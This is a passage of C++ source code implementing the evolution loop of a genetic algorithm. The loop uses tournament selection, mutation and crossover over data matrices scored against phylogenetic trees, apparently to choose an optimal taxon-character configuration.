                mutate(population[i], legal, 1, 0); // last 2 arguments are add, remove (boolean)
            }
        }
    }
    cout << "Done." << endl << endl;
    
    //cout << "Best solution from initial population = " << bestSolution << "." << endl;
    
// Calculate initial fitness. For each matrix, crunch through 1000 trees
    cout << "Calculating initial fitnesses for all individuals..." << endl;
    
    for (int i = 0; i < populationSize; i++) {
        fitness[i] = calcFit(referenceTaxonPresent, numTrees, population[i], numProcs);
    //    cout << "Fitness for individual " << i << " is: " << fitness[i] << "." << endl;
        if (fitness[i] > bestSolution) {
            bestSolution = fitness[i];
            bestConfiguration = population[i];
    //        cout << "Best solution from initial population = " << bestSolution << "." << endl;
        }
    }
    cout << "Done." << endl;
    
    cout << "Best solution from initial population = " << bestSolution << "." << endl;
    
    bool done = 0;        // flag to end evolution loop
    int gen = 0;         // counter for number of generations

// Check for out of bounds parameter values
    if (populationSize < 3) {
        cout << "Population size must be greater than 2" << endl;
        return(1);
    }
    if (tournamentSize < 2) {
        cout << "Tournament group size must be greater than 1" << endl;
        return(1);
    }

// Evolution loop
    cout << endl << "STARTING EVOLUTION" << endl << endl;
    cout << "Running for a total of " << maxgen << " generations." << endl << endl;
    // cout << "Progress:" << endl;
    while (!done) {
        gen = gen + 1;
        cout << "Generation " << gen;
// Choose tournament group
// initialize best and worst with random
        int random = (int)(rand() % (populationSize));
        int best = random;        // integer to hold position of best member of tournament group
        int worst = random;        // position of worst member of tournament group
        double bestFit = fitness[random];    // best fitness
        double worstFit = fitness[random];    // worst fitness
        
// selection step
        //for (int i = 1; i < tournamentSize; i++)
        for (int i = 0; i < tournamentSize; i++) {
            random = (int)(rand() % populationSize);
            if (fitness[random] > bestFit) {
                bestFit = fitness[random];
                best = random;
            }
            if (fitness[random] < worstFit) {
                worstFit = fitness[random];
                worst = random;
            }
        }
        
// make sure best and worst are not the same
// if they are the same, choose new best randomly from population
        while (best == worst) {
            best = (int)(rand() % (populationSize));
        }

// Copy best individual to worst individual
        population[worst] = population[best];
        
        
// enter stepwise function. too demanding.
//         if (gen % 1000 == 0) {
//             cout << ": Entering stepwise phase." << endl;
//             stepReplace (population[worst], legal, maxGenes, referenceTaxonPresent, numProcs);
//         }
//         else {
// Mutate with some probability, otherwise xover
            double randmu = (double) rand() / RAND_MAX;
            if (randmu < mutationProbability) {
// mutate; change one cell.
                mutate(population[worst], legal, 1, 1);
            } else {
// xover with random individual in population
                int randx = (int)(rand() % populationSize);
                while (randx == worst) {
                    randx = (int)(rand() % populationSize);
                }
                xover(population[worst], population[randx], legal, maxGenes);
            }
//        }
// Calculate fitness of new individual
        fitness[worst] = calcFit(referenceTaxonPresent, numTrees, population[worst], numProcs);
        
        if (fitness[worst] > bestSolution) {
            bestSolution = fitness[worst];
            bestConfiguration = population[worst];
            genStalled = 0;
        } else {
            genStalled += 1;
        }
        
// Check to see if max number of generations has been reached
        cout << ": best solution thus far = " << bestSolution << "." << endl;
        if (gen == maxgen || genStalled == maxGenStalled) {
            done = 1;
        }
    } 
// End of evolution loop

//     double bestFit = 0;
//     int bestInd = 0;
//     for (int i = 0; i < populationSize; i++)
//     {
//         if (fitness[i] > bestFit) {
//             bestFit = fitness[i];
//             bestInd = i;
//         }
//     }
    
//    cout << endl << "Best result found: " << bestFit << endl;
// copy best evolved matrix to original data matrix
//    data = population[bestInd];
    
    //printData(data);
    
    
    cout << endl << "Best result found: " << bestSolution << endl;
    data = bestConfiguration;
    
    cout << endl;
    
    return(0);
}